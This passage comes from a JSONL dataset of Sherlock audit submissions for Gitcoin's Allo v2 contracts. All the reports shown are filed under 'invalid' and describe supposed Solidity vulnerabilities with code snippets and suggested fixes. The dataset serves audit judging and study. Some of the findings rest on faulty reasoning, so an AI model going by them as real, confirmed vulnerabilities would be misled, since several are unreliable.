Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L45-L74\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nOptions:\n\n- implementing a whitelist of approved addresses that can participate in the _allocate function.\n- impose a donation fee to raise the cost of carrying out such manipulation.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/784.md"}} +{"title":"If the registration period and allocation period are overlapped in QVBaseStrategy, allocation values for recipients can be decreased and some funds will never be distributed.","severity":"info","body":"Hot Zinc Hippo\n\nhigh\n\n# If the registration period and allocation period are overlapped in QVBaseStrategy, allocation values for recipients can be decreased and some funds will never be distributed.\nAs we can see from the function `_updatePoolTimestamps` of `QVBaseStrategy`, the registration period and allocation period can be overlapped.\nIf a recipient with non-zero allocation value is removed in this overlapped period, the `totalRecipientVotes` will not be decreased.\nAs a result, some funds of `poolAmount` will not be distributed to anyone.\n\n## Vulnerability Detail\n```solidity\n // validate the timestamps for this strategy\n if (\n block.timestamp > _registrationStartTime || _registrationStartTime > _registrationEndTime\n || _registrationStartTime > _allocationStartTime || _allocationStartTime > _allocationEndTime\n || _registrationEndTime > _allocationEndTime\n ) {\n revert INVALID();\n }\n\n```\nAs you can see from the above code `_registrationEndTime` can be over the value `_allocationStartTime`.\nSuppose a allocator already allocated some values to an recipient with `Accepted` status. Then the allocated values are added to the `totalRecipientVotes`.\nNext, suppose that the recipient are removed. For example the recipient calls the function `_registerRecipient` with changed `recipientAddress` value, then status of the recipient will be changed from `Accepted` to `Pending`.\nNext, the allocation period are closed and funds are distributed.\nThen the allocation value for that recipient never be distributed and thus the allocation values for other recipients will be decresed.\n\n## Impact\nAllocation can be set invalid. As a result funds can be distributed incorrectly and some funds never be distributed and remained to strategy contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L343-L345\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe registration period should not be overlapped with allocation period.\nIf the overlap of two periods are required essentially, when status of a recipient changes to `pending` from `accepted`, the allocaion value for the recipient should be removed from `totalRecipientVotes`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/783.md"}} +{"title":"If an attacker can cause the `claim#recipientAddress` to be blocklisted (usdc), their funds will be stuck","severity":"info","body":"Jumpy Pear Beaver\n\nhigh\n\n# If an attacker can cause the `claim#recipientAddress` to be blocklisted (usdc), their funds will be stuck\nAn attacker can transfer either a few blocklisted tokens to the contract/recipient \n## Vulnerability Detail\nsince usdc can blocklist any address that is receiving or sending tokens \nan attacker blocklist the contract and it will revert\nex:\nAlice gives 500 Usdc `claim` to jake \nJohn gives 500 Usdc `claim` to Anthony \nThe attacker gives little blocklisted funds to the contract \nJake tries to claim their funds but its stuck and reverts \nAnthony tries to claim and it reverts \nhttps://github.com/d-xo/weird-erc20#tokens-with-blocklists\n## Impact\nIf the contract gets blocklisted then all users who want to claim cant \nif the recipients get blocklisted individually, their claim is also going to revert too\nSince `poolAmount` is not accounted for here the funds cant be rescued \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L107\n## Code Snippet\n```solidity\n// @auditor as we can see poolAmount is not updated or removed \n function _afterAllocate(bytes memory _data, address _sender) internal override {\n // Decode the '_data' to get the recipientId, amount, and token\n (address recipientId, Permit2Data memory p2Data) = abi.decode(_data, (address, Permit2Data));\n\n // Get the token address\n address token = p2Data.permit.permitted.token;\n uint256 amount = p2Data.permit.permitted.amount;\n PERMIT2.permitTransferFrom(\n // The permit message.\n p2Data.permit,\n // The transfer recipient and amount.\n ISignatureTransfer.SignatureTransferDetails({to: address(this), requestedAmount: amount}),\n // Owner of the tokens and signer of the message.\n _sender,\n // The packed signature that was the result of signing\n // the EIP712 hash of `_permit`.\n p2Data.signature\n );\n }\n\n // Update the total payout amount for the claim\n claims[recipientId][token] += amount;\n }\n}\n```\n```solidity\n function claim(Claim[] calldata _claims) external nonReentrant onlyAfterAllocation {\n uint256 claimsLength = _claims.length;\n\n // Loop through the claims\n for (uint256 i; i < claimsLength;) {\n Claim memory singleClaim = _claims[i];\n Recipient memory recipient = _recipients[singleClaim.recipientId];\n uint256 amount = claims[singleClaim.recipientId][singleClaim.token];\n\n // If the claim amount is zero this will revert\n if (amount == 0) {\n revert INVALID();\n }\n\n /// Delete the claim from the mapping\n delete claims[singleClaim.recipientId][singleClaim.token];\n\n address token = singleClaim.token;\n\n // Transfer the tokens to the recipient\n // @audit a usdc token will revert since this contract is blocklisted \n _transferAmount(token, recipient.recipientAddress, amount);\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nThe best way to fix this on the contract side is to have a way to remove funds before the blocklisted tokens but I don't recommend this.\nAnother thing you can do is contact the right authorities about the blocklisted tokens.\nIf the recipient address gets blocklisted have a way after allocation to change their address effectively using pull over push","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/782.md"}} +{"title":"The Owner can update a `feePercent` equal to 1e18 (100%)","severity":"info","body":"Genuine Vinyl Sidewinder\n\nhigh\n\n# The Owner can update a `feePercent` equal to 1e18 (100%)\nThe Owner can update a `feePercent` equal to 1e18 leading to set a `feePercent` which is equivalent to 100% of the funding amount which will end up using all the funding amount as `percentFee`.\n## Vulnerability Detail\nIn `allo.sol` and function `updatePercentFee`:\n```solidity\n function _updatePercentFee(uint256 _percentFee) internal {\n if (_percentFee > 1e18) revert INVALID_FEE();\n\n percentFee = _percentFee;\n\n emit PercentFeeUpdated(percentFee);\n }\n```\nThe `_percentFee` can be updated equal to 1e18 which equivalent to the 100% of the pool funding amount. This will lead to not transferring any fund to the pool and funding amount will end up as `percentFee`. This means that the Owner of pool can harm the funds of liquidity providers taking the full funding amount as `percentFee`. \n\nThe provided doc says that the `percentFee` should be less than the 100%(1e18) \n> percentFee (Private): This variable holds the fee percentage applied to transactions within pools. It's represented as a fraction of 1e18, where 1e18 equals 100%.\n\n## Impact\nThe funding will be end up as `percentFee` not transferring any amount to the pool.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L575C1-L581C6\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd this line to the function to avoid this happen:\n```solidity\n function _updatePercentFee(uint256 _percentFee) internal {\n- if (_percentFee > 1e18) revert INVALID_FEE();\n+ if (_percentFee >= 1e18) revert INVALID_FEE();\n\n percentFee = _percentFee;\n\n emit PercentFeeUpdated(percentFee);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/780.md"}} +{"title":"Function `_fundPool` of `Allo.sol` does not return the remained eth to the user.","severity":"info","body":"Hot Zinc Hippo\n\nmedium\n\n# Function `_fundPool` of `Allo.sol` does not return the remained eth to the user.\nFunction `_fundPool` of `Allo.sol` does not return the remained eth to the user at the end.\n\n## Vulnerability Detail\nFunction `_fundPool` of `Allo.sol` is called by function `_createPool` and transfer only `amountAfterFee = amount - feeAmount` to strategy.\nIn case of ERC20 token, there will be no problem at all. But in case of eth, function should return the remained eth to the user.\nIt a user send more `amount` mistakenly, there will be remained eth by `msg.value - baseFee - amount` and it will not be returned to user.\n\n## Impact\nUsers can lose eth by mistakes.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n\n## Tool used\n\nManual Review\n\n## Recommendation\nReturn the remained eth to user by insert the following code at the bottom of function `_fundPool`.\n\n```solidity\n if (_token == NATIVE) {\n _transferAmount(msg.sender, msg.value - baseFee - amount);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/779.md"}} +{"title":"Missing check if the status given when calling `QVBaseStrategy.reviewRecipient` is `accepted` or `rejected`","severity":"info","body":"Dandy Lavender Wombat\n\nmedium\n\n# Missing check if the status given when calling `QVBaseStrategy.reviewRecipient` is `accepted` or `rejected`\nBecause of a missing check what status is given when calling `QVBaseStrategy.reviewRecipient` a recipient can be prevented to be approved in the future\n\n## Vulnerability Detail\n\nIn ` QVBaseStrategy` a pool manager must review each recipient and decide if he is rejected or accepted by setting his status accordingly. The problem is that it is not checked if the status provided by the poolManager is `accepted` or `rejected` before setting the recipient status to it. This can result in the case where a pool manager gives the status `none` or `appealed` for the recipient and setting his status accordingly. This would result in the recipient not been able to be accepted any more, even if a pool manager would review him again, because the function `reviewRecipients` reverts if the recipient has the status `none` or `appealed`. \n\n```solidity\n// if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n```\n\n\n## Impact\nRecipients will be blocked from been accepted\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nBefore setting the status of a recipient make sure to check if the given status is `accepted` or `rejected`. If it is not, revert.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/776.md"}} +{"title":"The RFPSimpleStrategy can only be utilised once","severity":"info","body":"Tricky Rose Hare\n\nmedium\n\n# The RFPSimpleStrategy can only be utilised once\n\nWhen profile owners choose to utilize a clonable already developed strategy, i think they might expect to utilize the strategy multiple times, to distribute funds for different tasks, in the community, expect that is not the case here in RFPSImpleStrategy.sol in the setMileStone function, here the first part of the vulnerability is located, the function checks if the upcomingMilestone != 0.\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227C5-L247C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L445\n\nThis appears normal at first glance, but looking further, one can see that if the upcomingMilestone value is not zero then there is a problem, this leads us to the second part of the vulnerability in the distribute function of the same contract, here the upcomingMilestone is increased by one when the funds has being distributed, which means that after the first milestone has being set another milestone cannot be set again, as the value of the upcomingMilestone is now one, when you try to set another the function reverts and prevents any new mile stone creation\n\nImagine a decentralised art auction platform that leverages blockchain technology to conduct art auctions transparently and securely. The platform uses this smart contract strategy. They set the initial milestones that represent stages in the auction process, such as art submission, bidding, and winner selection.\n\nDuring the platform's initial setup, the creators use the setMilestones function to define and configure the milestones for the auction process. These milestones are hardcoded into the contract, representing specific phases of the auction, such as art submission, bidding, and winner selection.\n\nOnce the bidding phase reaches its milestone, the smart contract automatically triggers the winner selection process, awarding the artworks to the highest bidders. This phase is crucial because it ensures that the highest bidder for each artwork is correctly identified and rewarded. The amount is transferred to the recipient and the upcomingMileStone is increased.\n\n## Impact\n\nBecause the upcomingMilestone is increased. New milestones for another auction cannot be made because the upcomingMilestone is now 1 and it reverts on call if it is not zero.\n\n## Code Snippet\n```solidity\nfunction setMilestones(Milestone[] memory _milestones) external onlyPoolManager(msg.sender) {\n if (upcomingMilestone != 0) revert MILESTONES_ALREADY_SET();\n\n uint256 totalAmountPercentage;\n\n // Loop through the milestones and add them to the milestones array\n uint256 milestonesLength = _milestones.length;\n for (uint256 i; i < milestonesLength;) {\n totalAmountPercentage += _milestones[i].amountPercentage;\n milestones.push(_milestones[i]);\n\n unchecked {\n i++;\n }\n }\n\n // Check if the all milestone amount percentage totals to 1e18(100%)\n if (totalAmountPercentage != 1e18) revert INVALID_MILESTONE();\n\n emit MilestonesSet();\n }\n```\nHas the function displays, one can only set a new upcoming milestone if the upcomingMilestone value is zero else it will actually revert\n\n```solidity\nupcomingMilestone++;\n```\nHere we can see that after the funds are distributed to the accepted recipients, it keeps updating the upcoming milestone variable\n\n\n## Tool used\nFoundry Hardhat\n\n## Recommendation\n\nMake a reset function in which a new milestone can be created after the distribution stage like setting the upcomingMilestone back to zero, or if this is how it is going to be implemented, the Profile owners should know they have to deploy a new contract every time they want to use the strategy to distribute.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/774.md"}} +{"title":"Improper Sequence of Operations in Claim Function","severity":"info","body":"Blunt Cerulean Hedgehog\n\nhigh\n\n# Improper Sequence of Operations in Claim Function\nThe claim function in the `DonationVotingMerkleDistributionVaultStrategy` contract deletes a claim from the mapping before transferring the tokens to the recipient. This could potentially lead to a situation where a claim is deleted but the tokens are not successfully transferred if the `_transferAmount` function were to fail for some reason.\n## Vulnerability Detail\nIn the claim function, the sequence of operations is as follows:\n```solidity\n// Delete the claim from the mapping\ndelete claims[singleClaim.recipientId][singleClaim.token];\n\n// Transfer the tokens to the recipient\n_transferAmount(token, recipient.recipientAddress, amount);\n```\nHere, the claim is deleted from the mapping before the tokens are transferred. If the `_transferAmount` function fails for any reason (for example, if the contract doesn't have enough tokens), the claim would be deleted without the tokens being transferred.\n## Impact\n This could lead to a loss of funds for the recipient. If a claim is deleted and the token transfer fails, the recipient would lose their claim without receiving the tokens they are entitled to.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L70-L98)\n## Tool used\n\nManual Review\n\n## Recommendation\nThe sequence of operations should be reversed. The tokens should be transferred before the claim is deleted. This way, if the token transfer fails, the claim still exists in the mapping and the operation can be retried. The corrected sequence should look like this:\n```solidity\n// Transfer the tokens to the recipient\n_transferAmount(token, recipient.recipientAddress, amount);\n\n// Delete the claim from the mapping\ndelete claims[singleClaim.recipientId][singleClaim.token];\n```\nThis ensures that a recipient's claim is only deleted after they have successfully received their tokens.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/772.md"}} +{"title":"`RFPSimpleStrategy._registerRecipient` wrongly sets `recipient.useRegistryAnchor`","severity":"info","body":"Clever Metal Giraffe\n\nmedium\n\n# `RFPSimpleStrategy._registerRecipient` wrongly sets `recipient.useRegistryAnchor`\n\n`recipient.useRegistryAnchor` is true if `recipientId` is the anchor address. However, `RFPSimpleStrategy._registerRecipient` wrongly sets `recipient.useRegistryAnchor` if `isUsingRegistryAnchor ` is false.\n\n## Vulnerability Detail\n\nIf `isUsingRegistryAnchor ` is false, `recipient.useRegistryAnchor` should be set to `useRegistryAnchor`. But `RFPSimpleStrategy._registerRecipient` sets `recipient.useRegistryAnchor` to `recipient.useRegistryAnchor`. For a new recipient, `recipient.useRegistryAnchor` is default false.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L377\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n\n\n ā€¦\n recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n }\n```\n\n## Impact\n\n`RFPSimpleStrategy._registerRecipient` could wrongly set `recipient.useRegistryAnchor`.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L377\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThere are two way to fix this issue.\n\n1.\n```diff\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n ā€¦\n- recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n+ recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n }\n```\n\n2.\n```diff\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n ā€¦\n- recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n+ recipient.useRegistryAnchor = useRegistryAnchor ? true : isUsingRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/771.md"}} +{"title":"Allo#_createPool would revert in case of correct msg.value","severity":"info","body":"Bright Midnight Chipmunk\n\nmedium\n\n# Allo#_createPool would revert in case of correct msg.value\n\n`Allo#_createPool` would revert in case of correct `msg.value`\n\n## Vulnerability Detail\n\nIn case if `baseFee` value is greater than 0, the `_createPool` functions would check if the current `msg.value` is enough to pay the fee and fund pool in the case of the `NATIVE` token. However comparing statement is wrongly reverted in case `msg.value` is accurate to the paying amounts (line 473), while it should revert only if `msg.value` is not enough to cover payment.\n\n## Impact\n\n`Allo#_createPool` would revert in case of correct `msg.value`\n\n## Code Snippet\n\n```solidity\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\nFile: Allo.sol\n473: if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) { \n474: revert NOT_ENOUGH_FUNDS();\n475: }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider updating comparing statements to `>` instead of `>=` at line 473.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/770.md"}} +{"title":"When creating pool you need to send more value than the amount and baseFee, because of the check","severity":"info","body":"Shaggy Obsidian Rooster\n\nmedium\n\n# When creating pool you need to send more value than the amount and baseFee, because of the check\nWhen creating pool you need to send more value than the amount and baseFee, because of the check\n## Vulnerability Detail\nIn `_creatingPool` if the baseFee is greater than 0, it will make a second check if the baseFee + _amount is greater or equal to the msg.value, if this is true it will revert. => This means that the user that is creating pools should ALWAYS send more ETH than the sum of _amount + baseFee;\n\nThis occurrer in the second check in this IF: https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L473C96-L473C116\n\nif the token is not the Eth you need to send always more msg.value than the baseFee, but it should be greater or equal\n\n## Impact\nLosing funds from the creator of the pool\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L473\n## Tool used\n\nManual Review\n\n## Recommendation\nIt shouldn't revert if the msg.value is equal to _amount + baseFee\n\nmake the check, instead of: if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) \nto be : (_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/769.md"}} +{"title":"Any acceptedRecicpeint can get to receive funds from the strategy","severity":"info","body":"Tricky Rose Hare\n\nhigh\n\n# Any acceptedRecicpeint can get to receive funds from the strategy\n\nThis vulnerability presents itself because of the fact of using only three stages of checks before transferring the tokens to the recipient, this makes anyone to be able to receive the funds without actually reaching the milestone \n\nStatus.pending, Status.accepted and Status.Rejected\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253C4-L271C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417C5-L450C6\n\nIn the distribute function of the RFPSImpleStrategy.sol when a approved poolManager wants to distribute funds to a particular recipient, there is no actually check if the recipient submitted milestone is actually a confirmed or even a rejected milestone, before they actually can proceed with the payment, this way individuals or companies can get paid even without them getting a check from the approved pool manager. \n\nBut the surprising thing is that the check for if a milestone has been accepted is actually done after the funds have being transferred! which does not provide a good verification model\n\nLet's explore a real life scenario\n\nImagine a community crowdfunding project for building a new park. The project has attracted several investors, and they want to set milestones for the release of funds as the project progresses. The project manager, who acts as the pool manager in this context, uses this function to define these milestones. The investors provide a list of milestones, each with a description and a percentage representing the completion required to release a portion of the funds. For example, the milestones could include: Land Acquisition (25%) Infrastructure Construction (50%) Landscaping and Beautification (20%) Final Inspection and Opening (5%) The percentages of these milestones are added up, and if they total 100%, the milestones are set using this function. Once set, funds will be allocated to the park project as each milestone is completed, ensuring that funds are released incrementally as the project progresses and milestones are met.\n\nNow imagine if they whey two or three managers, \n\nManager 1, says they are not satisfied, with the milestone presented, and rejects it \nManager 2 does not know about the rejection and actually tries to pay the recipient for the completion of the milestone, that's a rejected milestone being paid for leading to a loss of funds for the profile. Even worse, the Manager can actually distribute funds to a recipient to a milestone that has not even gone through any reviews. The platform's intended democratic governance process is compromised \n\n## Impact\n\nThe vulnerability allows an accepted recipient to override those decisions and access funds for potentially incomplete or unsatisfactory work.\n\n## Code Snippet\n\n```solidity\nfunction submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n }\n```\nA acceptedRecipient can submit an upcoming milestone here for completion of a task, which the the community has already defined before, and they get their status updated to pending waiting from approval from the pool manager\n\n```solidity\nfunction _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\nbut in the recipent function, when a poolManager wants to distibute and transfer the funds to the acceptedRecipent but their is no actual check if the recipent that submitted the milestone, milestone is actually a rejected milestone or any indication that the milestone submitted has being reviewed in any ways\n\n## Tool used\nFoundry Hardhat\n\n## Recommendation\nImplement a Two-Step-Approval Process in which a already reviewed milestone has already been viewed and not just rejected, like a Status.Pending and a Status.Approved then after transferring the tokens the Status.Executed should be present. The check for if a milestone status is Pending or Rejected should revert the distribute function to prevent a complete breach of the strategy main functions.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/768.md"}} +{"title":"using SafeTransfeEth causing a greifing attack by the receving contract","severity":"info","body":"Jumpy Pear Beaver\n\nmedium\n\n# using SafeTransfeEth causing a greifing attack by the receving contract\nif the `receipintAddress` is an attacker or smart contract and it leaves over 1/64 gas which causes the dos \n## Vulnerability Detail\nsince we are using a not gas limit version of transferring eth the recipient address can gas grief as explained by the solady [library](https://github.com/Vectorized/solady/blob/72e76e222a586bb6061bf09d9dcaa3c50c92a2dd/src/utils/SafeTransferLib.sol#L9)\nso when we do actions in allo we can cause reverts or maybe even dos attacks \n## Impact\n1. we can just cause reverts attacks on `_distribute` or `_allocate` if using eth \n2. `_distribute#rfpCommittee` will revert if doing the 1/64 gas left attack since we are updating 2 state vars which can be a lot of gas \nand if there is a long vote process that takes over a year it will cause dos/startegy to be stuck.\nan attacker can do a small milestone and very small ProposalBid so the pool Manager accepts him.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L439\n```solidity\n//_distribute\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n```\n```solidity\n function _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nshould use ` function forceSafeTransferETH(address to, uint256 amount, uint256 gasStipend) internal {` and use gas limit or do pull method of receiving funds like `claim`\na proper gaslimit=`8000`\nhttps://github.com/Vectorized/solady/blob/72e76e222a586bb6061bf09d9dcaa3c50c92a2dd/src/utils/SafeTransferLib.sol#L87","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/767.md"}} +{"title":"No Storage Gap for Upgradeable Contracts","severity":"info","body":"Feisty Glass Scallop\n\nmedium\n\n# No Storage Gap for Upgradeable Contracts\nFor upgradeable contracts, there must be storage gap to \"allow developers to freely add new state variables in the future without compromising the storage compatibility with existing deployments\" (quote OpenZeppelin). Otherwise it may be very difficult to write new implementation code. Without storage gap, the variable in child contract might be overwritten by the upgraded base contract if new variables are added to the base contract. This could have unintended and very serious consequences to the child contracts, potentially causing loss of user fund or cause the contract to malfunction completely.\n\nRefer to the bottom part of this article: https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable\n\n## Vulnerability Detail\n\nNone of the protocol's contracts include a __gap variable. Without this variable, it is not possible to add any new variables to the inherited contracts without causing storage slot issues. Specifically, if variables are added to an inherited contract, the storage slots of\nall subsequent variables in the contract will shift by the number of variables added. Such a shift would likely break the contract.\n\nAll upgradeable OpenZeppelin contracts contain a __gap variable, which you can see [here](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/54803be62207c2412e27d09325243f2f1452f7b9/contracts/access/OwnableUpgradeable.sol#L89-L94)\n\n## Impact\nAlice, a developer of the Meson 